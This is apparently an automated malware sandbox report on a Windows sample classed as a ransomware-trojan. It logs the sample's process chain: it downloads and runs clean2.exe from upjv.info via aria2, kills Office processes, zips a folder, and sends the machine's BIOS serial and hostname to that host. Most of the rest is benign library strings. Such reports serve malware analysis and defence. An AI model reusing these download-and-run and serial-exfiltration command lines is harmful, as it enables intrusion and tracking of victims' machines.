                  Source: C:\Program Files\Mozilla Firefox\firefox.exeCode function: 22_2_00000184C7E6ACB222_2_00000184C7E6ACB2
                  Source: C:\Program Files\Mozilla Firefox\firefox.exeCode function: 22_2_00000184C7E6B39C22_2_00000184C7E6B39C
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeProcess token adjusted: SecurityJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean.exeCode function: String function: 004272C0 appears 233 times
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean.exeCode function: String function: 004020C6 appears 69 times
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeCode function: String function: 00C836F0 appears 382 times
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeCode function: String function: 00C51A79 appears 90 times
                  Source: SecuriteInfo.com.W32.PossibleThreat.17916.5400.exeStatic PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64 (stripped to external PDB), for MS Windows
                  Source: SecuriteInfo.com.W32.PossibleThreat.17916.5400.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
                  Source: classification engineClassification label: mal76.rans.troj.evad.winEXE@47/194@72/12
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeCode function: 10_2_00C5D4AA __EH_prolog,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,10_2_00C5D4AA
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeCode function: 10_2_00C57E33 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,CloseHandle,10_2_00C57E33
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeCode function: 10_2_00C57D72 DeviceIoControl,GetModuleHandleW,GetProcAddress,GetDiskFreeSpaceW,10_2_00C57D72
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean.exeCode function: 5_2_00413449 __EH_prolog,_CxxThrowException,_CxxThrowException,CoCreateInstance,5_2_00413449
                  Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.PossibleThreat.17916.5400.exeCode function: 0_2_004037F1 FindResourceA,LoadResource,SizeofResource,0_2_004037F1
                  Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.PossibleThreat.17916.5400.exeFile created: C:\Users\user\Desktop\ariac.exeJump to behavior
                  Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3060:120:WilError_03
                  Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.PossibleThreat.17916.5400.exeFile created: C:\Users\user\AppData\Local\Temp\24C7.tmpJump to behavior
                  Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.PossibleThreat.17916.5400.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\24C7.tmp\my_cleaner2.bat" "C:\Users\user\Desktop\SecuriteInfo.com.W32.PossibleThreat.17916.5400.exe""
                  Source: C:\Windows\SysWOW64\taskkill.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
                  Source: C:\Windows\SysWOW64\taskkill.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
                  Source: C:\Windows\SysWOW64\taskkill.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
                  Source: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exeFile read: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\AppInfo\appinfo.iniJump to behavior
                  Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.PossibleThreat.17916.5400.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\ariac.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
                  Source: C:\Users\user\TMP\cr-20241021-53901\ariac.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
                  Source: firefox.exe, 00000011.00000003.2495309169.000002435E0F8000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: SELECT * FROM events WHERE timestamp BETWEEN date(:dateFrom) AND date(:dateTo);
                  Source: SecuriteInfo.com.W32.PossibleThreat.17916.5400.exe, 00000000.00000000.2067858258.0000000000872000.00000002.00000001.01000000.00000003.sdmp, ariac.exe, 00000004.00000000.2076490201.00000000011A6000.00000002.00000001.01000000.00000004.sdmp, ariac.exe, 0000000E.00000002.2237939929.00000000011A6000.00000002.00000001.01000000.00000004.sdmp, ariac.exe.2.drBinary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' || %Q || substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
                  Source: SecuriteInfo.com.W32.PossibleThreat.17916.5400.exe, 00000000.00000000.2067858258.0000000000872000.00000002.00000001.01000000.00000003.sdmp, ariac.exe, ariac.exe, 00000004.00000000.2076490201.00000000011A6000.00000002.00000001.01000000.00000004.sdmp, ariac.exe, 0000000E.00000002.2237939929.00000000011A6000.00000002.00000001.01000000.00000004.sdmp, ariac.exe.2.drBinary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
                  Source: SecuriteInfo.com.W32.PossibleThreat.17916.5400.exe, 00000000.00000000.2067858258.0000000000872000.00000002.00000001.01000000.00000003.sdmp, ariac.exe, ariac.exe, 00000004.00000000.2076490201.00000000011A6000.00000002.00000001.01000000.00000004.sdmp, ariac.exe, 0000000E.00000002.2237939929.00000000011A6000.00000002.00000001.01000000.00000004.sdmp, ariac.exe.2.drBinary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
                  Source: SecuriteInfo.com.W32.PossibleThreat.17916.5400.exe, 00000000.00000000.2067858258.0000000000872000.00000002.00000001.01000000.00000003.sdmp, ariac.exe, 00000004.00000000.2076490201.00000000011A6000.00000002.00000001.01000000.00000004.sdmp, ariac.exe, 0000000E.00000002.2237939929.00000000011A6000.00000002.00000001.01000000.00000004.sdmp, ariac.exe.2.drBinary or memory string: SELECT data FROM %Q.'%q_node' WHERE nodeno=?Node %lld missing from databaseNode %lld is too small (%d bytes)Rtree depth out of range (%d)Node %lld is too small for cell count of %d (%d bytes)Dimension %d of cell %d on node %lld is corruptDimension %d of cell %d on node %lld is corrupt relative to parentwrong number of arguments to function rtreecheck()SELECT * FROM %Q.'%q_rowid'Schema corrupt or not an rtree_rowid_parentENDSELECT count(*) FROM %Q.'%q_%s'realintegercannot open value of type %sno such rowid: %lldforeign keyindexedcannot open virtual table: %scannot open table without rowid: %scannot open view: %scannot open %s column for writingblockDELETE FROM %Q.'%q_data';DELETE FROM %Q.'%q_idx';DELETE FROM %Q.'%q_docsize';version%s_nodedata_shape does not contain a valid polygona2
                  Source: SecuriteInfo.com.W32.PossibleThreat.17916.5400.exe, 00000000.00000000.2067858258.0000000000872000.00000002.00000001.01000000.00000003.sdmp, ariac.exe, ariac.exe, 00000004.00000000.2076490201.00000000011A6000.00000002.00000001.01000000.00000004.sdmp, ariac.exe, 0000000E.00000002.2237939929.00000000011A6000.00000002.00000001.01000000.00000004.sdmp, ariac.exe.2.drBinary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
                  Source: firefox.exe, 00000011.00000003.2496017415.000002435E06D000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: SELECT sum(count) FROM events;
                  Source: SecuriteInfo.com.W32.PossibleThreat.17916.5400.exe, 00000000.00000000.2067858258.0000000000872000.00000002.00000001.01000000.00000003.sdmp, ariac.exe, ariac.exe, 00000004.00000000.2076490201.00000000011A6000.00000002.00000001.01000000.00000004.sdmp, ariac.exe, 0000000E.00000002.2237939929.00000000011A6000.00000002.00000001.01000000.00000004.sdmp, ariac.exe.2.drBinary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
                  Source: SecuriteInfo.com.W32.PossibleThreat.17916.5400.exe, 00000000.00000000.2067858258.0000000000872000.00000002.00000001.01000000.00000003.sdmp, ariac.exe, ariac.exe, 00000004.00000000.2076490201.00000000011A6000.00000002.00000001.01000000.00000004.sdmp, ariac.exe, 0000000E.00000002.2237939929.00000000011A6000.00000002.00000001.01000000.00000004.sdmp, ariac.exe.2.drBinary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
                  Source: SecuriteInfo.com.W32.PossibleThreat.17916.5400.exe, 00000000.00000000.2067858258.0000000000872000.00000002.00000001.01000000.00000003.sdmp, ariac.exe, ariac.exe, 00000004.00000000.2076490201.00000000011A6000.00000002.00000001.01000000.00000004.sdmp, ariac.exe, 0000000E.00000002.2237939929.00000000011A6000.00000002.00000001.01000000.00000004.sdmp, ariac.exe.2.drBinary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
                  Source: SecuriteInfo.com.W32.PossibleThreat.17916.5400.exeReversingLabs: Detection: 23%
                  Source: ariac.exeString found in binary or memory: dht-listen-addr
                  Source: ariac.exeString found in binary or memory: --enable-dht6[=true|false] Enable IPv6 DHT functionality. Use --dht-listen-port option to specify port number to listen on. See also --dht-listen-addr6 option.
                  Source: ariac.exeString found in binary or memory: bt-stop-timeout
                  Source: ariac.exeString found in binary or memory: dht-listen-addr6
                  Source: ariac.exeString found in binary or memory: --stop=SEC Stop application after SEC seconds has passed. If 0 is given, this feature is disabled.
                  Source: ariac.exeString found in binary or memory: --stop-with-process=PID Stop application when process PID is not running. This is useful if aria2 process is forked from a parent process. The parent process can fork aria2
                  Source: ariac.exeString found in binary or memory: this option sets the command to be executed after download completed but before seeding. See --on-download-start option for the requirement of COMMAND.
                  Source: ariac.exeString found in binary or memory: -h, --help[=TAG|KEYWORD] Print usage and exit. The help messages are classified with tags. A tag starts with "#". For example, type "--help=#http" to get the usage f
                  Source: ariac.exeString found in binary or memory: -h, --help[=TAG|KEYWORD] Print usage and exit. The help messages are classified with tags. A tag starts with "#". For example, type "--help=#http" to get the usage f
                  Source: ariac.exeString found in binary or memory: GID#%s Stop downloading torrent due to --bt-stop-timeout option.
                  Source: ariac.exeString found in binary or memory: --on-download-complete=COMMAND Set the command to be executed after download completed. See --on-download-start option for the requirement of COMMAND.
                  Source: ariac.exeString found in binary or memory: --on-download-error=COMMAND Set the command to be executed after download aborted due to error. See --on-download-start option for the requirement of COMMAND.
                  Source: ariac.exeString found in binary or memory: See also --on-download-stop option.
                  Source: ariac.exeString found in binary or memory: --on-download-start=COMMAND Set the command to be executed after download got started. aria2 passes 3 arguments to COMMAND: GID, the number of files and file path. See Event
                  Source: ariac.exeString found in binary or memory: See also --on-download-stop option.
                  Source: ariac.exeString found in binary or memory: --on-download-pause=COMMAND Set the command to be executed after download was paused. See --on-download-start option for the requirement of COMMAND.
                  Source: ariac.exeString found in binary or memory: download-complete and --on-download-error. If they are specified, command specified in this option is not executed. See --on-download-start option for the
                  Source: ariac.exeString found in binary or memory: --on-download-stop=COMMAND Set the command to be executed after download stopped. You can override the command to be executed for particular download result using --on
                  Source: ariac.exeString found in binary or memory: --bt-stop-timeout=SEC Stop BitTorrent download if download speed is 0 in consecutive SEC seconds. If 0 is given, this feature is disabled.
                  Source: ariac.exeString found in binary or memory: on-download-start
                  Source: ariac.exeString found in binary or memory: on-download-stop
                  Source: ariac.exeString found in binary or memory: --dht-listen-addr6=ADDR Specify address to bind socket for IPv6 DHT. It should be a global unicast IPv6 address of the host.
                  Source: clean.exeString found in binary or memory: clean/Zip/App/AppInfo/Launcher/splash.jpg
                  Source: clean.exeString found in binary or memory: clean/Zip/Other/Source/LauncherLicense.txt
                  Source: clean.exeString found in binary or memory: clean/Zip/App/AppInfo/Launcher/Custom.nsh
                  Source: clean.exeString found in binary or memory: clean/Zip/App/AppInfo/Launcher/7-ZipPortable.ini
                  Source: clean.exeString found in binary or memory: clean/Zip/App/AppInfo/Launcher
                  Source: clean.exeString found in binary or memory: p/App/AppInfo/Launcher/7-ZipPortable.ini
                  Source: SecuriteInfo.com.W32.PossibleThreat.17916.5400.exeString found in binary or memory: on-download-start
                  Source: SecuriteInfo.com.W32.PossibleThreat.17916.5400.exeString found in binary or memory: on-download-stop
                  Source: SecuriteInfo.com.W32.PossibleThreat.17916.5400.exeString found in binary or memory: dht-listen-addr
                  Source: SecuriteInfo.com.W32.PossibleThreat.17916.5400.exeString found in binary or memory: dht-listen-addr6
                  Source: SecuriteInfo.com.W32.PossibleThreat.17916.5400.exeString found in binary or memory: bt-stop-timeout
                  Source: SecuriteInfo.com.W32.PossibleThreat.17916.5400.exeString found in binary or memory: GID#%s Stop downloading torrent due to --bt-stop-timeout option.
                  Source: SecuriteInfo.com.W32.PossibleThreat.17916.5400.exeString found in binary or memory: BtSetup.ccInitializing LpdMessageReceiver.LpdMessageReceiver initialized. multicastAddr=%s:%u, localAddr=%sLpdMessageReceiver not initialized.Initializing LpdMessageDispatcher.basic_string::_M_construct null not validLpdMessageDispatcher initialized.LpdMessageDispatcher not initialized.239.192.152.143N@GID#%s Stop downloading torrent due to --bt-stop-timeout option.BtStopDownloadCommand.ccbasic_string::_M_construct null not valid&?basic_string::appendinfo_hash=%s&peer_id=%s&uploaded=%lld&downloaded=%lld&left=%lld&compact=1&key=%s&numwant=%d&no_peer_id=1&port=%u&event=&trackerid=&supportcrypto=1&requirecrypto=1&ip=DefaultBtAnnounce.ccNow processing tracker response.Tracker returned null data.Tracker returned failure reason: %sTracker returned warning message: %sTracker ID:%sInterval:%ldMin interval:%ldComplete:%dIncomplete:%dNo peer list received.No peers6 received.vector::_M_realloc_insertipportNow processing UDP tracker response.basic_string::_M_construct null not validDefaultPeerStorage.ccuniqPeers_.size() == unusedPeers_.size() + usedPeers_.size()CUID#%lld is already set for peer %s:%uCheckout peer %s:%u to CUID#%lldRemove peer %s:%ucannot create std::deque larger than max_size()Adding %s:%u is rejected, since unused peer list is full (%lu peers > %lu)Adding %s:%u is rejected because it has been already added.Adding %s:%u is rejected because it is marked bad.Now unused peer list contains %lu peersAdding peer %s:%dPurge %s from bad peerAdded %s as bad peerPeer %s:%u returned from CUID#%lldCannot find peer %s:%u in usedPeers_basic_string::_M_construct null not validCUID#%lld - Name resolution for %s failed:%sDHTEntryPointNameResolveCommand.ccNo address returnedCUID#%lld - Name resolution complete: %s -> %sException caughtcannot create std::deque larger than max_size()Issuing PeerLookup for infoHash=%sDHTGetPeersCommand.cctask finished detectedToo few peers. peers=%lu, max_peers=%d. Try again(%d)DHTNode ID=%s, Host=%s(%u), Condition=%d, RTT=%ldTrying to add node:%sDHTRoutingTable.ccAdding node with the same ID with localnode is not allowed.Added DHTNode.Splitting bucket. Range:%s-%sCached node=%sbasic_string::_M_construct null not validvector::_M_realloc_insertError occurred while binding UDP port for DHTDHTSetup.ccInitialized local node ID=%sNo DHT entry point specified.Exception caught while loading DHT routing table from %sException caught while initializing DHT functionality. DHT is disabled.DHTTaskQueueImpl.ccUpdating periodicTaskQueue1Updating periodicTaskQueue2Updating immediateTaskQueuecannot create std::deque larger than max_size()Token generation failed: ipaddr=%s, port=%uDHTTokenTracker.ccDHTTokenUpdateCommand.ccException caughtDispatching LPD message for infohash=%sLpdDispatchMessageCommand.ccSending LPD message is complete.Sending LPD message %u times but all failed.Could not send LPD message, retry shortly.Failed to send LPD message.basic_string::_M_construct null not validSetting multicast outgoing interface=%sLpdMessageDispatcher.
                  Source: SecuriteInfo.com.W32.PossibleThreat.17916.5400.exeString found in binary or memory: See --on-download-start option for the
                  Source: SecuriteInfo.com.W32.PossibleThreat.17916.5400.exeString found in binary or memory: See also --on-download-stop option.
                  Source: SecuriteInfo.com.W32.PossibleThreat.17916.5400.exeString found in binary or memory: --on-download-start=COMMAND Set the command to be executed after download
                  Source: SecuriteInfo.com.W32.PossibleThreat.17916.5400.exeString found in binary or memory: --on-download-stop=COMMAND Set the command to be executed after download
                  Source: SecuriteInfo.com.W32.PossibleThreat.17916.5400.exeString found in binary or memory: --stop=SEC Stop application after SEC seconds has passed.
                  Source: SecuriteInfo.com.W32.PossibleThreat.17916.5400.exeString found in binary or memory: --stop-with-process=PID Stop application when process PID is not running.
                  Source: SecuriteInfo.com.W32.PossibleThreat.17916.5400.exeString found in binary or memory: --bt-stop-timeout=SEC Stop BitTorrent download if download speed is 0 in
                  Source: SecuriteInfo.com.W32.PossibleThreat.17916.5400.exeString found in binary or memory: --dht-listen-addr6=ADDR Specify address to bind socket for IPv6 DHT.
                  Source: SecuriteInfo.com.W32.PossibleThreat.17916.5400.exeString found in binary or memory: number to listen on. See also --dht-listen-addr6
                  Source: SecuriteInfo.com.W32.PossibleThreat.17916.5400.exeString found in binary or memory: -h, --help[=TAG|KEYWORD] Print usage and exit.
                  Source: SecuriteInfo.com.W32.PossibleThreat.17916.5400.exeString found in binary or memory: -h, --help[=TAG|KEYWORD] Print usage and exit.
                  Source: SecuriteInfo.com.W32.PossibleThreat.17916.5400.exeString found in binary or memory: starts with "#". For example, type "--help=#http"
                  Source: SecuriteInfo.com.W32.PossibleThreat.17916.5400.exeString found in binary or memory: starts with "#". For example, type "--help=#http"
                  Source: SecuriteInfo.com.W32.PossibleThreat.17916.5400.exeString found in binary or memory: See also --on-download-stop option. --on-download-error=COMMAND Set the command to be executed after download
                  Source: SecuriteInfo.com.W32.PossibleThreat.17916.5400.exeString found in binary or memory: See also --on-download-stop option. --on-download-pause=COMMAND Set the command to be executed after download
                  Source: SecuriteInfo.com.W32.PossibleThreat.17916.5400.exeString found in binary or memory: requirement of COMMAND. --on-download-start=COMMAND Set the command to be executed after download
                  Source: SecuriteInfo.com.W32.PossibleThreat.17916.5400.exeString found in binary or memory: Hook in man page for more details. --on-download-stop=COMMAND Set the command to be executed after download
                  Source: SecuriteInfo.com.W32.PossibleThreat.17916.5400.exeString found in binary or memory: otherwise printed in stdout to stderr. --stop=SEC Stop application after SEC seconds has passed.
                  Source: SecuriteInfo.com.W32.PossibleThreat.17916.5400.exeString found in binary or memory: If 0 is given, this feature is disabled. --stop-with-process=PID Stop application when process PID is not running.
                  Source: SecuriteInfo.com.W32.PossibleThreat.17916.5400.exeString found in binary or memory: See also --bt-metadata-only option. --bt-stop-timeout=SEC Stop BitTorrent download if download speed is 0 in
                  Source: SecuriteInfo.com.W32.PossibleThreat.17916.5400.exeString found in binary or memory: network. --dht-file-path=PATH Change the IPv4 DHT routing table file to PATH. --dht-file-path6=PATH Change the IPv6 DHT routing table file to PATH. --dht-listen-addr6=ADDR Specify address to bind socket for IPv6 DHT.
                  Source: SecuriteInfo.com.W32.PossibleThreat.17916.5400.exeString found in binary or memory: if you don't have any preferred protocol. --metalink-version=VERSION The version of the file to download. -v, --version Print the version number and exit., #all -h, --help[=TAG|KEYWORD] Print usage and exit.
                  Source: SecuriteInfo.com.W32.PossibleThreat.17916.5400.exeString found in binary or memory: if you don't have any preferred protocol. --metalink-version=VERSION The version of the file to download. -v, --version Print the version number and exit., #all -h, --help[=TAG|KEYWORD] Print usage and exit.
                  Source: SecuriteInfo.com.W32.PossibleThreat.17916.5400.exeString found in binary or memory: Unable to complete request for channel-process-startup
                  Source: SecuriteInfo.com.W32.PossibleThreat.17916.5400.exeString found in binary or memory: %lu.%lu.%lu.%lu.in-addr.arpa
                  Source: SecuriteInfo.com.W32.PossibleThreat.17916.5400.exeString found in binary or memory: CARES_HOSTSSystem\CurrentControlSet\Services\Tcpip\ParametersDatabasePathrares_getaddrinfo.c!hquery->ai->nodestcp%lu.%lu.%lu.%lu.in-addr.arpa%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.ip6.arpaSystem\CurrentControlSet\Services\Tcpip\ParametersDatabasePathrares__sortaddrinfo.ccur != NULLwslay_event.coff <= lenlen == off(size_t)r <= buflen
                  Source: unknownProcess created: C:\Users\user\Desktop\SecuriteInfo.com.W32.PossibleThreat.17916.5400.exe "C:\Users\user\Desktop\SecuriteInfo.com.W32.PossibleThreat.17916.5400.exe"
                  Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.PossibleThreat.17916.5400.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                  Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.PossibleThreat.17916.5400.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\24C7.tmp\my_cleaner2.bat" "C:\Users\user\Desktop\SecuriteInfo.com.W32.PossibleThreat.17916.5400.exe""
                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\user\TMP\cr-20241021-53901\ariac.exe \Users\user\TMP\cr-20241021-53901\ariac.exe -l log.txt -o clean.exe http://upjv.info/clean/clean2.exe
                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\user\TMP\cr-20241021-53901\clean.exe clean.exe -y
                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\taskkill.exe taskkill /IM WINWORD.EXE /T /F
                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\taskkill.exe taskkill /IM EXCEL.EXE /T /F
                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\taskkill.exe taskkill /IM SOFFICE.BIN /T /F
                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exe \Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exe a \Users\user\TMP\cr-20241021-53901.zip \Users\user\TMP\cr-20241021-53901
                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic bios get serialnumber
                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\more.com more +1 serialnumber.txt
                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\user\TMP\cr-20241021-53901\ariac.exe \Users\user\TMP\cr-20241021-53901\ariac.exe -l log2.txt -o result.html "http://upjv.info/clean/entree.php?poste=user-PC^&serial=F2LEUD3EOH"
                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" "http://upjv.info/clean/clean.php?serial=F2LEUD3EOH"
                  Source: unknownProcess created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" http://upjv.info/clean/clean.php?serial=F2LEUD3EOH --attempting-deelevation
                  Source: C:\Program Files\Mozilla Firefox\firefox.exeProcess created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" http://upjv.info/clean/clean.php?serial=F2LEUD3EOH
                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
                  Source: C:\Program Files\Mozilla Firefox\firefox.exeProcess created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2264 -parentBuildID 20230927232528 -prefsHandle 2208 -prefMapHandle 2200 -prefsLen 25308 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {ee62d03a-b3f3-4839-a2d9-d46293892022} 1088 "\\.\pipe\gecko-crash-server-pipe.1088" 2434ae6bb10 socket
                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 420
                  Source: C:\Program Files\Mozilla Firefox\firefox.exeProcess created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4164 -parentBuildID 20230927232528 -prefsHandle 4628 -prefMapHandle 4620 -prefsLen 26338 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {82d645db-fc8a-46d4-a6c6-6ecf6ff53d4a} 1088 "\\.\pipe\gecko-crash-server-pipe.1088" 2435dcb5e10 rdd
                  Source: C:\Program Files\Mozilla Firefox\firefox.exeProcess created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5136 -parentBuildID 20230927232528 -sandboxingKind 0 -prefsHandle 5200 -prefMapHandle 5196 -prefsLen 33119 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {02166d0c-fa79-4115-8a80-2fad783b6113} 1088 "\\.\pipe\gecko-crash-server-pipe.1088" 2435db1b910 utility
                  Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.PossibleThreat.17916.5400.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\24C7.tmp\my_cleaner2.bat" "C:\Users\user\Desktop\SecuriteInfo.com.W32.PossibleThreat.17916.5400.exe""Jump to behavior
                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\user\TMP\cr-20241021-53901\ariac.exe \Users\user\TMP\cr-20241021-53901\ariac.exe -l log.txt -o clean.exe http://upjv.info/clean/clean2.exeJump to behavior
                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\user\TMP\cr-20241021-53901\clean.exe clean.exe -yJump to behavior
                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\taskkill.exe taskkill /IM WINWORD.EXE /T /FJump to behavior
                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\taskkill.exe taskkill /IM EXCEL.EXE /T /FJump to behavior
                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\taskkill.exe taskkill /IM SOFFICE.BIN /T /FJump to behavior
                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2Jump to behavior
                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exe \Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\7z.exe a \Users\user\TMP\cr-20241021-53901.zip \Users\user\TMP\cr-20241021-53901Jump to behavior
                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic bios get serialnumberJump to behavior
                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\more.com more +1 serialnumber.txtJump to behavior
                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\user\TMP\cr-20241021-53901\ariac.exe \Users\user\TMP\cr-20241021-53901\ariac.exe -l log2.txt -o result.html "http://upjv.info/clean/entree.php?poste=user-PC^&serial=F2LEUD3EOH" Jump to behavior
                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" "http://upjv.info/clean/clean.php?serial=F2LEUD3EOH"Jump to behavior
                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2Jump to behavior
                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 420Jump to behavior
                  Source: C:\Program Files\Mozilla Firefox\firefox.exeProcess created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" http://upjv.info/clean/clean.php?serial=F2LEUD3EOHJump to behavior
                  Source: C:\Program Files\Mozilla Firefox\firefox.exeProcess created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2264 -parentBuildID 20230927232528 -prefsHandle 2208 -prefMapHandle 2200 -prefsLen 25308 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {ee62d03a-b3f3-4839-a2d9-d46293892022} 1088 "\\.\pipe\gecko-crash-server-pipe.1088" 2434ae6bb10 socketJump to behavior
                  Source: C:\Program Files\Mozilla Firefox\firefox.exeProcess created: unknown unknownJump to behavior
                  Source: C:\Program Files\Mozilla Firefox\firefox.exeProcess created: unknown unknownJump to behavior
